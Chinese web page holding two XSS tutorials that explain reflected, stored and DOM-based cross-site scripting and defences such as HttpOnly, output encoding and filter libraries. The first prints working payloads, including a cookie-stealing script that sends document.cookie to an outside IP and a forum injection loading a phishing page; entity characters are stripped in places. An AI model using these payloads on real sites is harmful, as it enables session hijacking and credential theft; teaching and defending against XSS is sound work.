Web攻防系列教程之跨站脚本攻击和防范技巧详解
XSS跨站脚本攻击一直都被认为是客户端Web安全中最主流的攻击方式。因为Web环境的复杂性以及XSS跨站脚本攻击的多变性,使得该类型攻击很难彻底解决。那么,XSS跨站脚本攻击具体攻击行为是什么,又该如何进行有效的防范呢?本文对此进行了有针对性的具体实例分析。
跨站脚本攻击(Cross Site Scripting)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。为了与层叠样式表(Cascading Style Sheets)的缩写CSS区分开,跨站脚本攻击通常简写为XSS。
下面这个页面的主要作用是获取用户输入的参数作为用户名,并在页面中显示&欢迎您,XXX&的形式,具体代码如下:
$username = $_GET[&name&];
echo &&p&欢迎您, &.$username.&!&/p&&;
正常情况下,用户会在URL中提交参数name的值为自己的姓名,然后该数据内容会通过以上代码在页面中展示,如用户提交姓名为&张三&,完整的URL地址如下:
http://localhost/test.php?name=张三
在浏览器中访问时,会显示如下图1所示内容:&
此时,因为用户输入的数据信息为正常数据信息,经过脚本处理以后页面反馈的源码内容为&p&欢迎您, 张三!&/p&。但是如果用户提交的数据中包含有可能被浏览器执行的代码的话,会是一种什么情况呢?我们继续提交name的值为&script&alert(/我的名字是张三/)&/script&,即完整的URL地址为
http://localhost/test.php?name=&script&alert(/我的名字是张三/)&/script&
在浏览器中访问时,我们发现会有弹窗提示,如下图2所示:&
那么此时页面的源码又是什么情况呢?
源码变成了&&p&欢迎您, &script&alert(/我的名字是张三/)&/script&!&/p&&,从源代码中我们发现,用户输入的数据中,&script&与&/script&标签中的代码被浏览器执行了,而这并不是网页脚本程序想要的结果。这个例子正是最简单的一种XSS跨站脚本攻击的形式,称之为反射型XSS。
XSS跨站脚本攻击的分类
根据XSS跨站脚本攻击存在的形式及产生的效果,可以将其分为以下三类。
一、&反射型XSS跨站脚本攻击
反射型XSS脚本攻击即如我们上面所提到的XSS跨站脚本攻击方式,该类型只是简单地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的代码数据。由于此种类型的跨站代码存在于URL中,所以黑客通常需要通过诱骗或加密变形等方式,将存在恶意代码的链接发给用户,只有用户点击以后才能使得攻击成功实施。
二、&存储型XSS跨站脚本攻击
存储型XSS脚本攻击是指Web应用程序会将用户输入的数据信息保存在服务端的数据库或其他文件形式中,网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示,因此存储型XSS具有较强的稳定性。
存储型XSS脚本攻击最为常见的场景就是在博客或新闻发布系统中,黑客将包含有恶意代码的数据信息直接写入文章或文章评论中,所有浏览文章或评论的用户,都会在他们客户端浏览器环境中执行插入的恶意代码。如流行的Bo-Blog程序的早期版本中存在对用户提交评论数据过滤不严导致的XSS跨站脚本攻击漏洞,黑客可以在文章评论中提交插入恶意数据的UBB代码,提交后,Bo-Blog程序会将数据保存至数据库中,当用户浏览该日志时,就会执行插入的恶意代码,如图3所示。&
三、&基于DOM的XSS跨站脚本攻击
基于DOM的XSS跨站脚本攻击是通过修改页面DOM节点数据信息而形成的XSS跨站脚本攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。让我们来针对如下代码进行详细分析:
&title&DOM Based XSS Demo&/title&
function xsstest()
&var str = document.getElementById(&input&).
&document.getElementById(&output&).innerHTML = &&img src='&+str+&'&&/img&&;
&div id=&output&&&/div&
&input type=&text& id=&input& size=50 value=&& /&
&input type=&button& value=&提交& onclick=&xsstest()& /&
以上代码的作用是提交一个图片的URL地址以后,程序会将图片在页面中进行展示,如我们提交百度LOGO图片的地址/img/baidu_sylogo1.gif,那么在页面中展示结果如下图4所示。&
当用户输入完百度LOGO的地址,点击&提交&按钮后,&提交&按钮的onclick事件会调用xsstest()函数。而xsstest()函数会获取用户提交的地址,通过innerHTML将页面的DOM节点进行修改,把用户提交的数据以HTML代码的形式写入页面中并进行展示。以上例子中输出的HTML代码为&&img src=& /img/baidu_sylogo1.gif&&&/img&&。
以上情况为正常的用户输入情况,那黑客又是怎么利用该种类型代码实现XSS跨站脚本攻击的呢?黑客可以通过构造如下数据,输入& onerror=&javascript:alert(/DOM Based XSS Test/)&,在浏览器中提交后,发现代码果然被执行,出现了弹窗提示,如下图5所示。&
XSS跨站脚本攻击实例
以上是针对XSS跨站脚本攻击三种类型的简单介绍。看了上面的描述朋友们或许会想,难道仅仅弹出一个提示框就是XSS跨站脚本攻击了吗?***当然是否定的,XSS跨站脚本攻击的利用可以实现多种效果,甚至可以说XSS跨站脚本攻击漏洞的利用是一种黑客攻击的艺术,下面我们结合具体实例进行详细的分析和描述,了解一下XSS跨站脚本攻击都能做些什么事情。
&XSS跨站脚本攻击利用钓鱼
目前,网络钓鱼攻击的方式比较多,包括申请注册相似域名,构建相似度高的网站环境和发布虚假中奖信息等,但是以上钓鱼攻击方式针对有一定安全意识的网民来说,很难实现成功的钓鱼攻击。然而通过XSS跨站脚本攻击漏洞进行的钓鱼攻击,即使有一定安全意识的网民,也无法抵御。这里我们以盛大游戏论坛的XSS跨站脚本攻击漏洞利用的钓鱼攻击演示(目前,该漏洞已经修复)。首先,我们需要了解的是,盛大的游戏登录都是使用盛大通行证进行登录的,而盛大的游戏论坛也是使用盛大通行证进行登录,所以,如果黑客通过盗取游戏玩家登录论坛时的信息,就相当于盗取了玩家游戏账号和密码。盛大的游戏论坛就存在XSS跨站脚本攻击漏洞,使得黑客可以通过该漏洞获取用户的账号和密码。存在过滤不严的位置为用户资料中的个人主页部分,通过在个人主页栏中输入如下代码:
[url]http://'' STYLE='a:expression(document.write(&&s\143ript language=javas\143ript src=/564.jpg Charset=GB23&&/s\143ript&&))' target=_blank[/url]
然后利用该账号在论坛中发帖子或回复,这样当其他玩家访问我们发布或回复的帖子时,就会执行我们插入的恶意代码。/564.jpg就是我们构造的恶意代码,这个代码是我们用来钓鱼的页面,如下图6所示:&
显示的内容和盛大官方游戏论坛登录的页面一样,如果不通过查看网页源代码的方式是无法从页面显示中看出任何问题的,当玩家输入通行证账号和密码信息并点击登录时,账号提交的地址不是盛大的服务器,而是黑客的服务器。从源码中,可以看到账号和密码发送到的黑***务器账号接收程序的地址,如下图7所示:&
XSS跨站脚本攻击盗取用户Cookie信息
通过XSS跨站脚本攻击盗取用户Cookie信息一直是XSS跨站脚本攻击漏洞利用的最主流方式之一。当用户正常登录Web应用程序时,用户会从服务端得到一个包含有会话令牌的cookie:
Set-Cookie: SessionID=F7B24A182EC3DF53E65C88FCA17B0A96FAE129C3
黑客则可以通过XSS跨站脚本攻击的方式将嵌入恶意代码的页面发送给用户,当用户点击浏览时,黑客即可获取用户的Cookie信息并用该信息欺骗服务器端,无需账号密码即可直接成功登录。这里我们以网易邮箱的XSS跨站脚本攻击漏洞为例进行分析和描述。网易邮箱老版本中,曾经存在一个XSS跨站脚本攻击漏洞,黑客可以构造如下代码:
&XML ID=I&&X&&C&&![CDATA[&IMG SRC=&javas]]&&![CDATA[cript:xx=new Image();xx.src='http://61.130.75.239/pic/163.asp?url='+escape(document.URL)+'&cookie='+escape(document.cookie);& width=0 height=0&]]&
&&/C&&/X&&/xml&&SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&&/SPAN&
并将包含有如图8所示恶意代码的邮件发送至网易邮箱用户时,用户打开了含有恶意代码的邮件后,代码就会自动将用户的cookie信息发送到61.130.75.239上的163.asp文件,其中163.asp的作用是记录发送过来的Cookie,记录的Cookie内容如下图9所示:&
在接收到Cookie以后,就可以通过Cookie欺骗的方式实现登录目标邮箱了,如图10所示。&
&XSS跨站脚本攻击搜集客户端环境信息
搜集客户端环境信息在更多的时候主要应用于指定目标的渗透攻击或网络挂马攻击,如了解客户端环境所使用的浏览器信息、操作系统信息、组件是否***以及安全防护软件***情况等。通过XSS跨站脚本攻击可以更加方便、快速地实现客户端环境信息的收集。
那么如何通过javascript收集以上信息呢?我们构造如下脚本代码,并在浏览器中执行这段代码。
alert(navigator.userAgent);
得到的结果如下图11所示。&
这个信息中告诉了我们以上关心的两个信息,一个是浏览器的类型和版本,另外一个是客户端环境操作系统的版本。
浏览器:MSIE 8.0(微软IE浏览器,浏览器版本是8.0)
操作系统:Windows NT 6.1(操作系统类型是windows 7)
通过以上方式可以获取客户端的浏览器和操作系统信息,接下来我们在继续判断客户端环境组件***情况。构造代码如下:
&var object = new ActiveXObject(&XunLeiBHO.ThunderIEHelper&);
} catch(e){&alert(&迅雷软件未***&);
客户端环境中如果***迅雷下载软件的话,那么就会***相应的ActiveX控件XunLeiBHO.ThunderIEHelper,以上脚本的作用即是通过网页脚本去加载迅雷的ActiveX控件,如果控件存在则不会抛出异常,否则就会抛出异常并被脚本捕获,运行上面的脚本代码时,***有迅雷的环境不会有任何提示,未***迅雷的环境就会弹窗提示&迅雷软件未***&。
控件判断可以通过网页加载ActiveX控件的方式实现,那么怎么通过脚本判断客户端环境中是否***了安全软件呢?这里我们以瑞星安全软件为例,分析描述如何通过XSS跨站脚本攻击漏洞的利用检测客户端环境是否存在瑞星安全软件。我们构造代码如下:
var havesoft=
var disk=['c','d'];
var soft=[':\\Program Files\\Rising\\Ris\\BackRav.dll/2/30994'];
for(i=0;i&soft.i++)
{&&&&for(j=0;j&disk.j++)&&&
&{&&&&&var img=new Image();
&&res='res://'+disk[j]+soft[i];
&&img.src=
&&if(img.height!=30)
&&&havesoft=&&&
以上代码的作用是通过javascript结合res协议对客户端环境中的资源文件进行加载,javascript脚本运行后,会对客户端环境的C、D盘进行访问,访问是否存在瑞星默认***路径的资源文件,并尝试对资源文件进行加载,如果加载成功,则说明资源文件存在,也说明瑞星安全软件的存在,并将变量havesoft置为真,脚本检测结束后,只需要检测该变量是否为真即可。
相对于以上三种情况,可以说是XSS蠕虫(XSS Worm)的破坏力和影响力都是巨大的。XSS蠕虫主要发生在用户之间存在交互行为的页面中,当Web应用程序对用户输入的数据信息没有做严格的过滤时,通过结合Ajax的异步提交,就可以实现在植入恶意代码的同时,将恶意代码进行对外发送,即实现了代码的感染和传播,也就形成了XSS蠕虫。
谈到XSS蠕虫就很有必要介绍一下新浪微博遭受XSS蠕虫攻击事件,同时我们也以此次攻击事件作为例子,对黑客恶意利用漏洞至XSS蠕虫大范围扩散的过程进行详细分析和描述,并对该XSS蠕虫的恶意脚本文件进行一下简要的分析。
此处请参见拙作《》,不再赘述。
XSS跨站脚本攻击的防范
通过以上针对不同种情况的XSS跨站脚本攻击的描述,我们了解到了在复杂的Web环境中,XSS的利用是千变万化的,如何能够有效地防范XSS跨站脚本攻击问题一直都是浏览器厂商和网站安全技术人员关注的热门话题。现在很多浏览器厂商都在自己的程序中增加了防范XSS跨站脚本攻击的措施,如IE浏览器从IE8开始内置了XSS筛选器,Firefox也有相应的CSP、Noscript扩展等。而对于网站的安全技术人员来说,提出高效的技术解决方案,保护用户免受XSS跨站脚本攻击才是关键。下面我们结合网站安全设计,描述一下如何通过技术手段实现XSS跨站脚本攻击的防范。
利用HttpOnly
HttpOnly最初是由微软提出的,目前已经被多款流行浏览器厂商所采用。HttpOnly的作用不是过滤XSS跨站脚本攻击,而是浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie,解决XSS跨站脚本攻击后的Cookie会话劫持行为。
httpOnly是在Set-Cookie时进行标记的,设置的Cookie头格式如下:
&&& Set-Cookie: &name&=&value&[; &name&=&value&]
&&& [; expires=&date&][; domain=&domain_name&]
&&& [; path=&some_path&][; secure][; HttpOnly]
以php为例,在php 5.2版本时就已经在Setcookie函数加入了对HttpOnly的支持,如
&&& setcookie(&user&, &admin&, NULL, NULL, NULL, NULL, TRUE);&
通过以上代码就可以设置user这个cookie,将其设置为HttpOnly,setcookie函数实质是通过向客户端发送原始的HTTP报文头进行设置的,document将不可见这个Cookie,所以使用document.cookie就取不到这个Cookie,也就是先了对Cookie的保护。
&完善的输入和输出检查
由于三种XSS跨站脚本攻击类型的漏洞成因可不相同,针对输入输出的检查一部分适用于反射型XSS与存储型XSS,而另外一些检查适用于基于DOM的XSS。
A.&防范反射型XSS和存储型XSS
输入检查在大多数的时候都是对可信字符的检查或输入数据格式的检查,如用户输入的注册账号信息中只允许包括字母、数字、下划线和汉字等,对于输入的一切非白名单内的字符均认为是非法输入。数据格式如输入的IP地址、***号码、邮件地址、日期等数据都具有一定的格式规范,只有符合数据规范的输入信息才允许通过检查。
输出检查主要是针对数据展示过程中,应该对数据信息进行HTML编码处理,将可能存在导致XSS跨站脚本攻击的恶意字符进行编码,在不影响正常数据显示的前提条件下,过滤恶意字符。常见的可能造成XSS跨站脚本攻击的字符及其HTML编码如下:
除了常用的编码外,任何字符都可以使用其ASCII码进行HTML编码,如
&&&&%&%
&&&&*&*
B.&防范基于DOM的XSS
从基于DOM的XSS的定义及其触发方式我们发现,当基于DOM的XSS跨站脚本攻击发生时,恶意数据的格式与传统的XSS跨站脚本攻击数据格式有一定的差异,甚至可以在不经过服务器端的处理和相应的情况下,直接对客户端实施攻击行为,因此上述我们应用于防范反射型XSS和存储型XSS的方法并不适用于防范基于DOM的XSS跨站脚本攻击。
针对基于DOM的XSS防范的输入检查方法,我们发现在客户端部署相应的安全检测代码的过滤效果要比在服务器端检测的效果更加明显。例如,我们可以通过如下客户端检测代码来保证用户输入的数据只包含字母、数字和空格,代码如下:
var str = document.URL;
str = str.substring(str.indexOf(&username=&)+9, str.length);
str = unescape(str);
var regex=/^([A-Za-z0-9+\s])*$/;
if (regex.test(str))
&document.write(str);
同样,我们也可以通过在服务端实现类似上述数据检查的功能,如在服务器端检测URL参数是否为预定的参数username,并对username参数的内容进行检测,确认数据内容是否为只包含数字、字母和空格符,实现服务端的数据过滤。但是,由于客户端数据的可控性,这种服务端检测的效果要明显弱于客户端检测。
基于DOM的XSS输出检查与反射型XSS漏洞输出检查的方法相似,在将用户可控的DOM数据内容插入到文档之前,Web应用程序应对提交的数据进行HTML编码处理,将用户提交的数据中可能存在的各种危险字符和表达式进行过滤以安全的方式插入到文档中进行展现,如可以通过如下函数实现在客户端javascript中执行HTML编码处理。
function jsEncode(str)
&var d = document.createElement('div');
&d.appendChild(document.createTextNode(str));
&return d.innerHTML;
XSS跨站脚本攻击作为Web应用安全领域中最大威胁之一,不仅仅危害Web应用业务的正常运营,对访问Web应用业务的客户端环境和用户也带来了直接安全影响。虽然XSS跨站脚本攻击在复杂的Web应用环境中利用方式千变万化,但是网络安全人员通过对Web应用的各种环境进行详细分析和处理,完全阻断XSS跨站脚本攻击是可以实现的。如何有效防范和阻止XSS跨站脚本攻击,保障Web应用系统的业务安全和正常运营,保护客户端用户免受XSS跨站脚本攻击行为的侵害,是Web应用系统管理人员和网络安全产品开发人员的共同职责
(window.slotbydup=window.slotbydup || []).push({
id: '2467140',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467141',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467142',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467143',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467148',
container: s,
size: '1000,90',
display: 'inlay-fix'推荐这篇日记的豆列如何防御跨站脚本攻击
跨站脚本攻击(XSS)是web应用程序中最危险和最常见的安全漏洞之一。安全研究人员发现这个漏洞在最受欢迎的网站,包括谷歌、Facebook、亚马逊、PayPal,和许多其他网站。如果你看看bug赏金计划,大多数报告的问题属于 XSS。为了防止跨站脚本攻击,浏览器也有自己的过滤器,但安全研究人员总是想方设法绕过这些过滤器。这个漏洞是通常用于执行cookie窃取、恶意软件传播,会话劫持,恶意重定向。在这种攻击中,攻击者将恶意JavaScript代码到网站,这样由攻击者在脚本中执行的操作。该漏洞是容易找到但很难修补。这就是为什么它可以发现在任何网站如果你尝试。
在这篇文章,我们会看到什么跨站脚本攻击是和如何创建一个筛选器来防止它。我们还将看到几个开放源码库,将帮助您在您的 web 应用程序中的跨站点脚本漏洞修补。
什么是跨站脚本攻击?
跨站点脚本攻击是攻击者尝试注入恶意的脚本在受信任的网站上执行恶意操作的一种攻击方法。在跨站脚本攻击中,恶意代码在浏览器端上执行对用户影响。跨站点脚本也称为是 XSS 攻击。第一个问题是记住的是为什么我们称之为&XSS&而不是&CSS。***很简单,知道谁在web开发工作的人。在网页设计中,我们有级联样式表CSS。所以跨站点脚本被称为 XSS,所以它不会不混乱CSS。
现在,回到 XSS。当 web 应用程序中执行一个脚本,攻击者提供给用户,就会发生跨站脚本攻击。这个缺陷可以在一个应用程序任何地方发现,用户输入了不正确的编码。。如果输入不正确编码并过滤,这种注入恶意脚本将发送给用户。一个浏览器没办法知道它不应该相信一个脚本。当浏览器执行的脚本时,在客户端上执行恶意操作。大多数时间,XSS 用来窃取 cookie 和执行会话劫持偷取有效用户会话令牌。
XSS 的几个例子:
你几乎在所有的网站上看到了一个搜索框。在此搜索框中,您可以搜索到网站上任何可用的东西。这个搜索表单看起来这样
&form action=&search.php& method=&get&&
&input type=&text& name=&q& value=&& /&
&input type=&submit& value=&send& /&
在php网页上显示的搜索结果,同时它也列出了在&关键字&的搜索结果。
web页面上,它通常编码如下:
&h3&You Searched for: &!&?php echo($_GET['q']) ?&&
不管一个人搜索什么,它将显示搜索结果在网页上。现在想想如果一个攻击者尝试注入恶意脚本,这边会发生什么。
&&&script&alert(&XSS injection&)&/script&
如果 web 应用程序中没有对输入编码和过滤恶意脚本,它将会输入,当被访问时,它将被调用输出到网页上。所以,在关键字的地方,它类似于:
&h3& You Searched for: &&&script&alert(&XSS injection&)&/script&
它将由浏览器执行,将显示一个警告框,提示&XSS 注入&。
假设有一个网站有消息传递功能。在这个网站上,用户可以发送邮件到他们的联系人。基本表单将会看起来像这样:
&form action=&sendmessage.php& method=&post&&&
&textarea name=&message&& &/textarea&
&input type=&submit& value=&send& /&
当提交此表单时,该邮件将会存储在数据库中。他从收件箱打开邮件时,另一人将看到消息。假设攻击者已经在消息中发送一些 cookie 窃取的脚本。此脚本将作为一条消息存储在网站上。当别人试图读取消息时,将执行该 脚本窃取cookie 和他会话 id ,现在是攻击者的一面。用一个有效的会话 id,攻击者可以劫持其他人的帐户。
跨站脚本攻击的类型
没有标准的分类,但大部分专家将XSS分为 三种类型: 非持久性 XSS、 持久性 XSS 和基于 DOM 的 XSS。
非持久性跨站脚本攻击
非持久性 XSS 也称为是反射跨站漏洞。它是最常见的 XSS 类型。在这,注入数据反射给攻击者。如果你看看我们有上面的例子,第一个 XSS 列子是非持续的攻击。典型的非持久性 XSS 包含与 XSS 的链接。
持久性跨站脚本攻击(存储性)
持久性跨站脚本是存储跨站点脚本。当它发生时 XSS 变量存储在网站的数据库,每当用户打开网页时执行。每次用户打开浏览器,脚本执行。在上述示例中,网站消息的第二个例子是持久的 XSS 攻击。持久性 XSS 比非持久性 XSS更有害,因为每当用户打开要查看的内容的网页时,将自动执行该脚本。谷歌的 orkut 是脆弱的持久性 xss 攻击,破坏网站名誉。
基于DOM的跨站脚本攻击
基于 DOM 的 XSS 有时也称为&type-0 XSS&。它发生时, XSS 变量执行由 DOM 修改用户的浏览器网页的结果。在客户端的 HTTP 响应不会更改,但以恶意的方式执行的脚本。这这是最先进和最知名的type-0 XSS。大多数情况下,这个漏洞之所以存在是因为开发商不了解它是如何工作。
跨站脚本攻击出现的原因
跨站脚本攻击的主要原因是用户对开发商的信任。开发者很容易认为用户将不会执行什么错误,所以他们创建应用程序而无需使用任何额外的努力,阻止用户输入任何恶意活动。另一个原因是,这种攻击有许多变种。有时,正确地尝试过滤任何恶意脚本的应用程序获取混淆,并允许脚本。在过去的几个月里,我们已经看到了许多种不同的XSS的变体,可以绕过大部分可用的XSS过滤器。
所以我们不能说一个网站是完全保护。但我们可以尽力过滤大部分的事情,因为特别的变量主要来自负责安全的人员,他们也会帮助你,修补并使你的过滤器更智能。
如何创造一个良好的XSS过滤器阻止大部分XSS Vectors
在我们开始创建一个XSS过滤之前,我想说一件重要的事情:我们不要求有一个完善的XSS过滤器。研究人员一直觉得奇怪的方法来绕过过滤器。但我们可以努力使一个过滤器,可以过滤容易和著名的XSS vectors。至少你将成为安全的脚本小子。
如果你没有理解你不能修补的XSS。你应该有一个想法,攻击者注入脚本。你应该有XSS vectors知识。
让我们从基本的过滤器:
有一个简单的规则您需要遵循:编码用户指定的每个数据。如果数据不是用户指定的但通过 GET 参数提供,编码这些数据。即使表单可以包含xss vectors。所以,每次你要在网站上使用一个变量的值,请尝试清除XSS。
这些都是在您的网站在使用之前必须被正确过滤的主要数据。
HTTP引用对象
从表单中获取参数
表单 POST 的参数
window.location
document.referrer
document.location
document.url
document.urlunencoded
cookie数据
数据库中的数据,如果没有正确地验证用户的输入
首先,对所有的 &&,进行编码。这应该是您的 XSS 过滤的第一步。请参见编码如下:
& && '
/ && /
为此,您可以在 PHP 中使用htmlspecialchars()函数。所有 HTML 标记和特殊字符,然后对它进行都编码。
$input = htmlspecialchars($input, ENT_QUOTES);
如果 $input was= &&&script&alert(1)&/script&
此函数将转换它&&&script&prompt(1)&/script&
通过解码它在某个地方使用的编码值时,还可以帮助这行:
$input = str_replace(array(&&&,&&&,&&&), array(&&&,&&&,&&&), $input);
一个变量可以使用 HTML 字符,所以你应该也来过滤这些。添加此规则:
$input= preg_replace(&/(*\w+)[\x00-\x20]+;/u&, &$1;&, $data);
$data = preg_replace(&/(*[0-9A-F]+);*/iu&, &$1;&, $input);
但仅靠这些是不会帮你的。有很多地方的输入不需要脚本标签。攻击者可以注入一些事件的函数来执行脚本。有许多方法,攻击者可以绕过这个过滤器。因此,我们需要考虑所有的可能性,并添加一些其他的东西,使滤波器增强。不只是JavaScript,你也需要摆脱串联样式表和XML数据以防止XSS。
此外上 OWASP 可用来防止 XSS 的完整详细的指南。
开放源码库,用于防止 XSS 攻击
PHP AntiXSS
这是一个不错的 PHP 库,可以帮助开发人员从跨站脚本漏洞添加额外的一层保护。它会自动检测编码,必须经过过滤的数据编码。库的使用是很容易的。你可以阅读更多关于它在这里: /p/php-antixss/
xss_clean.php filter
这是一个强的XSS过滤器,清除各种URF编码和嵌套的利用。开发人员在分析了各种来源之后建功能。这种编码的功能是可以免费从GitHub。请看这里:/mbijon/1098477
HTML Purifier
这是一个标准的HTML过滤库编写的PHP。这将删除所有恶意代码的输入和防止XSS攻击网站。它也是作为大多数 PHP 框架的插件用。
在这里阅读更多关于HTML器:http://htmlpurifier.org/
xssprotect
xssprotect 是另一个很好的库,给开发者提供了一个方法来清除XSS攻击& vectors。此库的工作原理通过创建网页的 HTML 标签树。然后它将分析页面相匹配的所有标记。之后,它要求过滤器接口来过滤不当的 HTML 属性和 XSS 攻击。此库是 Java 编写的。
阅读更多关于此库:/p/xssprotect/
XSS HTML Filter
这是Java的另一个XSS过滤器。这是一个简单的实用工具,可以用来正确的跨站脚本和恶意的 HTML 代码注入的用户输入。
阅读更多关于此库:http://finn-no.github.io/xss-html-filter/
xss是最危险的网站安全漏洞之一。它以各种方式破坏用户使用网站。主要是它用于执行会话劫持攻击。我们也道修补 XSS 是可能的但我们不能 100%肯定没有人能打破我们的过滤规则。黑客总是找到办法,打破过滤规则安全。如果你真的想要制作一个难XSS 过滤规则,研究大多数可用的 XSS vectors。然后进行的不同种类的攻击模式的列表。分析列表和代码的功能识别攻击模式和阻止攻击。我也增添了几个开放源代码可用库,如果你不知道如何修补该漏洞,以及如何保护您的网站。您可以使用。
作为网站所有者或 web 开发人员,它是你的责任,创造一个安全的应用程序,保护用户的数据,所以你必须找到并修补危险 web 应用程序漏洞。
如果您创建了一个函数,可以筛过滤XSS vectors函数,您可以共享您通过下面的注释框中的函数。发表评论,表达你的意见。
本文由小安攻防研究室翻译,如有翻译错误,请联系管理员,谢谢,希望此文对你有所帮助
原文:tp:///how-to-prevent-cross-site-scripting-attacks/
Pavitra Shandkhdhar 是一个工程研究生和安全研究员。他感兴趣的领域是 web 渗透测试。他喜欢在他的空闲时间在网站和玩计算机游戏中找到的漏洞。他目前是与信息安全研究所研究员
(window.slotbydup=window.slotbydup || []).push({
id: '2467140',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467141',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467142',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467143',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467148',
container: s,
size: '1000,90',
display: 'inlay-fix'